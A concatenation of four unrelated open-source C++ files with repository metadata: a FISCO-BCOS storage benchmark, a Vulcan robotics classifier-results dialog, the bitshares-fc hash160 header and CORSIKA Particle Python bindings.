max_issues_repo_name: clairechingching/ScaffCC

max_forks_repo_name: clairechingching/ScaffCC


text:
/**
 * @CopyRight:
 * FISCO-BCOS is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * FISCO-BCOS is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with FISCO-BCOS.  If not, see <http://www.gnu.org/licenses/>
 * (c) 2016-2018 fisco-dev contributors.
 *
 * @file storage_main.cpp
 * @author: xingqiangbai
 * @date 2018-11-14
 */

#include "libinitializer/Initializer.h"
#include "libstorage/MemoryTableFactory.h"
#include "rocksdb/db.h"
#include "rocksdb/options.h"
#include <leveldb/db.h>
#include <libdevcore/BasicLevelDB.h>
#include <libdevcore/Common.h>
#include <libstorage/BasicRocksDB.h>
#include <libstorage/CachedStorage.h>
#include <libstorage/MemoryTable2.h>
#include <libstorage/MemoryTableFactoryFactory2.h>
#include <libstorage/RocksDBStorage.h>
#include <tbb/parallel_for.h>
#include <boost/algorithm/string.hpp>
#include <boost/algorithm/string/classification.hpp>
#include <boost/algorithm/string/split.hpp>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <boost/format.hpp>
#include <boost/log/support/date_time.hpp>
#include <boost/log/utility/setup/common_attributes.hpp>
#include <boost/log/utility/setup/from_stream.hpp>

using namespace std;
using namespace dev;
using namespace boost;
using namespace dev::storage;
using namespace dev::initializer;

void testMemoryTable2(size_t round, size_t count, bool verify)
{
    boost::filesystem::create_directories("./RocksDB");
    rocksdb::Options options;
    options.IncreaseParallelism();
    options.OptimizeLevelStyleCompaction();
    options.create_if_missing = true;
    options.max_open_files = 1000;
    options.compression = rocksdb::kSnappyCompression;
    rocksdb::Status status;
    auto rocksDB = std::make_shared<BasicRocksDB>();
    rocksDB->Open(options, "./RocksDB");

    std::shared_ptr<RocksDBStorage> rocksdbStorage = std::make_shared<RocksDBStorage>();

    rocksdbStorage->setDB(rocksDB);

    CachedStorage::Ptr cachedStorage = std::make_shared<CachedStorage>();
    cachedStorage->setBackend(rocksdbStorage);
    // cachedStorage->startClearThread();
    cachedStorage->init();
    cachedStorage->setMaxCapacity(32 * 1024 * 1024);
    cachedStorage->setMaxForwardBlock(5);

    auto factoryFactory = std::make_shared<MemoryTableFactoryFactory2>();
    factoryFactory->setStorage(cachedStorage);

    auto createFactory = factoryFactory->newTableFactory(dev::h256(0), 0);
    createFactory->createTable("test_data", "key", "value", 1, Address(0x0));
    createFactory->createTable("tx_hash_2_block", "tx_hash", "block_hash", 1, Address(0x0));

    createFactory->commitDB(dev::h256(0), 1);

    std::set<std::string> accounts;
    for (size_t i = 0; i < count; ++i)
    {
        auto dataTable = createFactory->openTable("test_data");
        auto entry = dataTable->newEntry();
        auto key = (boost::format("[%08d]") % i).str();
        entry->setField("key", key);
        entry->setField("value", "0");
        entry->setForce(true);

        dataTable->insert(key, entry);
    }

    createFactory->commitDB(dev::h256(0), 1);

    auto start = std::chrono::steady_clock::now();

    for (size_t i = 0; i < round; ++i)
    {
        auto roundStart = std::chrono::steady_clock::now();
        auto factory = factoryFactory->newTableFactory(dev::h256(0), i + 2);

        tbb::parallel_for(
            tbb::blocked_range<size_t>(0, count), [&](const tbb::blocked_range<size_t>& range) {
                for (size_t j = range.begin(); j < range.end(); ++j)
                {
                    for (int k = 0; k < 50; ++k)
                    {
                        auto dataTable = factory->openTable("test_data");
                        auto txTable = factory->openTable("tx_hash_2_block");

                        auto key = (boost::format("[%08d]") % j).str();
                        auto condition = dataTable->newCondition();
                        auto dataEntries = dataTable->select(key, condition);

                        auto dataEntry = dataEntries->get(0);

                        auto newDataEntry = dataTable->newEntry();
                        newDataEntry->setField("value",
                            boost::lexical_cast<std::string>(
                                boost::lexical_cast<size_t>(dataEntry->getField("value")) + 1));

                        dataTable->update(key, newDataEntry, condition);

                        std::string txKey = (boost::format("[%32d]-[%32d]") % j % k).str();
                        auto txEntry = txTable->newEntry();
                        txEntry->setField("tx_hash", txKey);
                        txEntry->setField("block_hash", txKey);
                        txEntry->setForce(true);

                        txTable->insert(txKey, txEntry);
                    }
                }
            });

        factory->commitDB(dev::h256(0), i + 2);

        auto roundEnd = std::chrono::steady_clock::now();
        std::chrono::duration<double> roundElapsed = roundEnd - roundStart;
        std::cout << "Round " << i << " elapsed: " << roundElapsed.count() << std::endl;

        if (verify)
        {
            std::cout << "Checking round " << i << " ...";

            auto factory = factoryFactory->newTableFactory(dev::h256(0), round + 2);
            tbb::parallel_for(
                tbb::blocked_range<size_t>(0, count), [&](const tbb::blocked_range<size_t>& range) {
                    for (size_t j = range.begin(); j < range.end(); ++j)
                    {
                        auto dataTable = factory->openTable("test_data");
                        auto txTable = factory->openTable("tx_hash_2_block");

                        auto key = (boost::format("[%08d]") % j).str();
                        auto condition = dataTable->newCondition();
                        auto dataEntries = dataTable->select(key, condition);

                        auto dataEntry = dataEntries->get(0);

                        size_t value = boost::lexical_cast<size_t>(dataEntry->getField("value"));
                        if (value != 50 * (i + 1))
                        {
                            std::cout << "Verify failed, value: " << value
                                      << " != " << (i + 1) * 50;
                        }
                    }
                });

            std::cout << "Check round " << i << " finshed";
        }
    }

    auto end = std::chrono::steady_clock::now();
    std::chrono::duration<double> elapsed = end - start;

    std::cout << "Execute time elapsed " << std::setiosflags(std::ios::fixed)
              << std::setprecision(4) << elapsed.count() << std::endl;
}

int main(int argc, char* argv[])
{
    (void)argc;
    (void)argv;

    boost::multi_index_container<std::pair<std::string, std::string>,
        boost::multi_index::indexed_by<boost::multi_index::sequenced<>,
            boost::multi_index::hashed_unique<
                boost::multi_index::identity<std::pair<std::string, std::string> > > > >
        m_mru;
    m_mru.push_back(std::make_pair("a", "b"));
    m_mru.push_back(std::make_pair("b", "c"));
    m_mru.push_back(std::make_pair("a", "b"));

    for (auto it = m_mru.begin(); it != m_mru.end();)
    {
        std::cout << "item: " << it->first << ", " << it->second;

        it = m_mru.erase(it);
    }

#if 0
    if (argc < 3)
    {
        std::cout << "Usage: " << argv[0] << " [round] [count] [verify]" << std::endl;
        return 1;
    }

#if 1
    boost::property_tree::ptree pt;

    boost::property_tree::read_ini("config.ini", pt);

    /// init log
    auto logInitializer = std::make_shared<LogInitializer>();
    logInitializer->initLog(pt);
#endif

    size_t round = boost::lexical_cast<size_t>(argv[1]);
    size_t count = boost::lexical_cast<size_t>(argv[2]);
    bool verify = false;
    if (argc > 3)
    {
        verify = boost::lexical_cast<bool>(argv[3]);
    }

    testMemoryTable2(round, count, verify);
#endif

    return 0;
}

max_stars_repo_name: imtypist/FISCO-BCOS

max_issues_repo_name: imtypist/FISCO-BCOS

max_forks_repo_name: imtypist/FISCO-BCOS


text:
/* Copyright (C) 2010-2019, The Regents of The University of Michigan.
 All rights reserved.

 This software was developed as part of the The Vulcan project in the Intelligent Robotics Lab
 under the direction of Benjamin Kuipers, kuipers@umich.edu. Use of this code is governed by an
 MIT-style License that can be found at "https://github.com/h2ssh/Vulcan".
*/

/**
* \file     gateway_classifier_test_dialog.cpp
* \author   Collin Johnson
*
* Definition of GatewayClassifierTestResultsDialog.
*/

#include <ui/mapeditor/gateway_classifier_test_dialog.h>
#include <ui/common/file_dialog_settings.h>
#include <hssh/local_topological/area_detection/gateways/gateway_classifier.h>
#include <wx/variant.h>
#include <boost/range/iterator_range.hpp>

namespace vulcan
{
namespace ui
{

BEGIN_EVENT_TABLE(GatewayClassifierTestResultsDialog, ClassificationTestResultsDialogBase)
    EVT_BUTTON(ID_SAVE_CLASSIFIER_BUTTON,   GatewayClassifierTestResultsDialog::saveClassifierPressed)
    EVT_BUTTON(ID_CLOSE_CLASSIFIER_BUTTON, GatewayClassifierTestResultsDialog::closePressed)
END_EVENT_TABLE()

std::pair<double, double> precision_and_recall(const hssh::GatewayMapResults& results);

GatewayClassifierTestResultsDialog::GatewayClassifierTestResultsDialog(const hssh::GeneratorResults& results,
                                                                       wxWindow* parent)
: ClassificationTestResultsDialogBase(parent)
, classifier_(results.classifier)
, haveSavedClassifier_(false)
{
    classificationResultsSummaryLabel->SetLabel(wxString::Format("Summary: %s", results.generatorName));

    // Change the text associated with the labels for the data to be specific to the desired format for gateways
    trainingResultsAccuracyLabel->SetLabel(wxString::Format("Precision"));
    trainingResultsCorrectLabel->SetLabel(wxString::Format("Recall"));
    classificationAccuracyLabel->SetLabel(wxString::Format("Precision"));
    correctClassificationTestsLabel->SetLabel(wxString::Format("Recall"));

    setupDetailsGrid();
    for(auto& result : results.testResults)
    {
        addResultsToDetailsGrid(result);
    }
    addResultsToDetailsGrid(results.overallTest);
    createSummary(results.overallTest, results.overallTraining);

    // Turn off the save button if there's isn't anything to save
    if(!classifier_)
    {
        saveClassifierButton->Enable(false);
    }
}

void GatewayClassifierTestResultsDialog::setupDetailsGrid(void)
{
    classificationDetailsList->AppendTextColumn("Map Name");
    classificationDetailsList->AppendTextColumn("Total");
    classificationDetailsList->AppendTextColumn("TP");
    classificationDetailsList->AppendTextColumn("FP");
    classificationDetailsList->AppendTextColumn("FN");
    classificationDetailsList->AppendTextColumn("Precision");
    classificationDetailsList->AppendTextColumn("Recall");

    classificationDetailsList->Fit();
}

void GatewayClassifierTestResultsDialog::addResultsToDetailsGrid(const hssh::GatewayMapResults& results)
{
    double precision = 0.0;
    double recall = 0.0;
    std::tie(precision, recall) = precision_and_recall(results);

    wxVector<wxVariant> resultData;
    resultData.push_back(wxVariant(wxString(results.mapName)));
    resultData.push_back(wxVariant(wxString::Format("%i", results.numActualGateways)));
    resultData.push_back(wxVariant(wxString::Format("%i", results.numTruePositives)));
    resultData.push_back(wxVariant(wxString::Format("%i", results.numFalsePositives)));
    resultData.push_back(wxVariant(wxString::Format("%i", results.numFalseNegatives)));
    resultData.push_back(wxVariant(wxString::Format("%.2f", precision)));
    resultData.push_back(wxVariant(wxString::Format("%.2f", recall)));
    classificationDetailsList->AppendItem(resultData);
}

void GatewayClassifierTestResultsDialog::createSummary(const hssh::GatewayMapResults& testResults,
                                                       const hssh::GatewayMapResults& trainingResults)
{
    setResultsText(testResults,
                   totalClassificationTestsText,
                   correctClassificationTestsText,
                   classificationAccuracyText);
    setResultsText(trainingResults,
                   trainingResultsTotalText,
                   trainingResultsCorrectText,
                   trainingResultsAccuracyText);
}

void GatewayClassifierTestResultsDialog::setResultsText(const hssh::GatewayMapResults& overall,
                                                        wxStaticText* numTestsText,
                                                        wxStaticText* numCorrectText,
                                                        wxStaticText* accuracyText)
{
    double precision = 0.0;
    double recall = 0.0;
    std::tie(precision, recall) = precision_and_recall(overall);

    int totalTests = overall.numActualGateways;
    numTestsText->SetLabel(wxString::Format("%i", totalTests));
    numCorrectText->SetLabel(wxString::Format("%.2f", recall));
    accuracyText->SetLabel(wxString::Format("%.2f", precision));
}

void GatewayClassifierTestResultsDialog::saveClassifierPressed(wxCommandEvent& event)
{
    assert(classifier_);

    wxFileDialog saveDialog(this, wxT("Select output file..."), wxT(""), wxT(""), wxT(""), kFileSaveFlags);

    if(saveDialog.ShowModal() == wxID_OK)
    {
        wxString filename = saveDialog.GetPath();
        haveSavedClassifier_ = classifier_->save(filename.ToStdString());

        if(!haveSavedClassifier_)
        {
            std::cerr << "ERROR:GatewayClassifierTestResultsDialog: Failed to save classifier to " << filename << '\n';
        }
    }
}

void GatewayClassifierTestResultsDialog::closePressed(wxCommandEvent& event)
{
    if(IsModal())
    {
        EndModal((!classifier_ || haveSavedClassifier_ ? wxID_OK : wxID_CANCEL));
    }
    else
    {
        Destroy();
    }
}

std::pair<double, double> precision_and_recall(const hssh::GatewayMapResults& results)
{
    double recall = 0.0;
    int totalExamples = results.numActualGateways;
    if(totalExamples > 0)
    {
        recall = results.numTruePositives / static_cast<double>(totalExamples);
    }

    double precision = 0.0;
    int totalPositives = results.numTruePositives + results.numFalsePositives;
    if(totalPositives > 0)
    {
        precision = results.numTruePositives / static_cast<double>(totalPositives);
    }

    return std::make_pair(precision, recall);
}

} // namespace ui
} // namespace vulcan


text:
/*
 * Copyright (c) 2018 jmjatlanta and contributors.
 *
 * The MIT License
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */
#pragma once
#include <boost/endian/buffers.hpp>
#include <fc/fwd.hpp>
#include <fc/string.hpp>
#include <fc/io/raw_fwd.hpp>

namespace fc{

class hash160
{
   public:
   hash160();
   explicit hash160( const string& hex_str );

   string str()const;
   explicit operator string()const;

   char* data() const;
   static constexpr size_t data_size() { return 160/8; }

   static hash160 hash( const char* d, uint32_t dlen );
   static hash160 hash( const string& );

   template<typename T>
   static hash160 hash( const T& t )
   {
      hash160::encoder e;
      fc::raw::pack(e,t);
      return e.result();
   }

   class encoder
   {
      public:
      encoder();
      ~encoder();

      void write( const char* d, uint32_t dlen );
      void put( char c ) { write( &c, 1 ); }
      void reset();
      hash160 result();

      private:
      class impl;
      fc::fwd<impl,117> my;
   };

   template<typename T>
   inline friend T& operator<<( T& ds, const hash160& ep ) {
      ds.write( ep.data(), sizeof(ep) );
      return ds;
   }

   template<typename T>
   inline friend T& operator>>( T& ds, hash160& ep ) {
      ds.read( ep.data(), sizeof(ep) );
      return ds;
   }
   friend hash160 operator << ( const hash160& h1, uint32_t i       );
   friend bool operator == ( const hash160& h1, const hash160& h2 );
   friend bool operator != ( const hash160& h1, const hash160& h2 );
   friend hash160 operator ^  ( const hash160& h1, const hash160& h2 );
   friend bool operator >= ( const hash160& h1, const hash160& h2 );
   friend bool operator >  ( const hash160& h1, const hash160& h2 );
   friend bool operator <  ( const hash160& h1, const hash160& h2 );

   boost::endian::little_uint32_buf_t _hash[5];
};

namespace raw {

   template<typename T>
   inline void pack( T& ds, const hash160& ep, uint32_t _max_depth ) {
      ds << ep;
   }

   template<typename T>
   inline void unpack( T& ds, hash160& ep, uint32_t _max_depth ) {
      ds >> ep;
   }

}

   class variant;
   void to_variant( const hash160& bi, variant& v, uint32_t max_depth );
   void from_variant( const variant& v, hash160& bi, uint32_t max_depth );

  template<> struct get_typename<hash160>    { static const char* name()  { return "hash160";  } };
} // namespace fc

namespace std
{
   template<>
   struct hash<fc::hash160>
   {
      size_t operator()( const fc::hash160& s )const
      {
         return  *((size_t*)&s);
      }
   };
}

max_stars_repo_name: xloem/bitshares-fc

max_issues_repo_name: xloem/bitshares-fc

max_forks_repo_name: xloem/bitshares-fc


text:
#include <sstream>
#include <corsika/Particle.h>
#include <boost/python.hpp>

using namespace boost::python;
using namespace corsika;

void register_Particle()
{
  scope block_scope =
    class_<Particle>("Particle")
    .def("__str__", &Particle::String)
    .add_property("pdg_code", &Particle::PDGCode)
    .add_property("corsika_code", &Particle::CorsikaCode)
    .add_property("name", &Particle::GetName)
    .add_property("hadronic_generation", &Particle::HadronicGeneration)
    .add_property("observing_level", &Particle::ObservingLevel)
    .add_property("is_particle", &Particle::IsParticle)
    .add_property("is_nucleus", &Particle::IsNucleus)
    .add_property("is_cherenkov", &Particle::IsCherenkov)
    .add_property("mass", &Particle::Mass)
    .add_property("momentum", &Particle::Momentum)
    .add_property("kinetic_energy", &Particle::KineticEnergy)
    .add_property("has_parent", &Particle::HasParent)
    .add_property("has_muon_info", &Particle::HasMuonInfo)
    .def_readonly("description", &Particle::fDescription)
    .def_readonly("px", &Particle::fPx)
    .def_readonly("py", &Particle::fPy)
    .def_readonly("pz", &Particle::fPz)
    .def_readonly("x", &Particle::fX)
    .def_readonly("y", &Particle::fY)
    .def_readonly("t_or_z", &Particle::fTorZ)
    .def_readonly("weight", &Particle::fWeight)
    .add_property("parent",  make_function(&Particle::GetParent, return_internal_reference<>()  ))
    .add_property("grand_parent", make_function( &Particle::GetGrandParent, return_internal_reference<>() ) )
    .add_property("muon_info", make_function( &Particle::GetMuonInfo, return_internal_reference<>() ) )
    .def("nucleus_code", &Particle::NucleusCode)
    .staticmethod("nucleus_code")
    ;

  enum_<Particle::Type>("Type")
    .value("eUndefined"        , Particle::eUndefined)
    .value("eElectron"         , Particle::eElectron)
    .value("ePositron"         , Particle::ePositron)
    .value("eNuElectron"       , Particle::eNuElectron)
    .value("eAntiNuElectron"   , Particle::eAntiNuElectron)
    .value("eMuon"             , Particle::eMuon)
    .value("eAntiMuon"         , Particle::eAntiMuon)
    .value("eNuMuon"           , Particle::eNuMuon)
    .value("eAntiNuMuon"       , Particle::eAntiNuMuon)
    .value("eTau"              , Particle::eTau)
    .value("eAntiTau"          , Particle::eAntiTau)
    .value("eNuTau"            , Particle::eNuTau)
    .value("eAntiNuTau"        , Particle::eAntiNuTau)
    .value("ePhoton"           , Particle::ePhoton)
    .value("ePiZero"           , Particle::ePiZero)
    .value("eRhoZero"          , Particle::eRhoZero)
    .value("ePiPlus"           , Particle::ePiPlus)
    .value("ePiMinus"          , Particle::ePiMinus)
    .value("eRhoPlus"          , Particle::eRhoPlus)
    .value("eRhoMinus"         , Particle::eRhoMinus)
    .value("eEta"              , Particle::eEta)
    .value("eOmegaMeson"       , Particle::eOmegaMeson)
    .value("eKaon0L"           , Particle::eKaon0L)
    .value("eKaon0S"           , Particle::eKaon0S)
    .value("eKaonPlus"         , Particle::eKaonPlus)
    .value("eKaonMinus"        , Particle::eKaonMinus)
    .value("eDeltaMinus"       , Particle::eDeltaMinus)
    .value("eLambda"           , Particle::eLambda)
    .value("eSigmaPlus"        , Particle::eSigmaPlus)
    .value("eSigmaZero"        , Particle::eSigmaZero)
    .value("eSigmaMinus"       , Particle::eSigmaMinus)
    .value("eAntiSigmaPlus"    , Particle::eAntiSigmaPlus)
    .value("eAntiSigmaZero"    , Particle::eAntiSigmaZero)
    .value("eAntiSigmaMinus"   , Particle::eAntiSigmaMinus)
    .value("eXiZero"           , Particle::eXiZero)
    .value("eXiMinus"          , Particle::eXiMinus)
    .value("eAntiXiZero"       , Particle::eAntiXiZero)
    .value("eAntiXiMinus"      , Particle::eAntiXiMinus)
    .value("eOmegaMinus"       , Particle::eOmegaMinus)
    .value("eAntiOmegaMinus"   , Particle::eAntiOmegaMinus)
    .value("eLambdac"          , Particle::eLambdac)
    .value("eNeutron"          , Particle::eNeutron)
    .value("eAntiNeutron"      , Particle::eAntiNeutron)
    .value("eDeltaZero"        , Particle::eDeltaZero)
    .value("eProton"           , Particle::eProton)
    .value("eAntiProton"       , Particle::eAntiProton)
    .value("eDeltaPlus"        , Particle::eDeltaPlus)
    .value("eDeltaPlusPlus"    , Particle::eDeltaPlusPlus)
    .value("eDecayedMuon"      , Particle::eDecayedMuon)
    .value("eDecayedAntiMuon"  , Particle::eDecayedAntiMuon)
    .value("eIron"             , Particle::eIron)
    ;

}

ext: cxx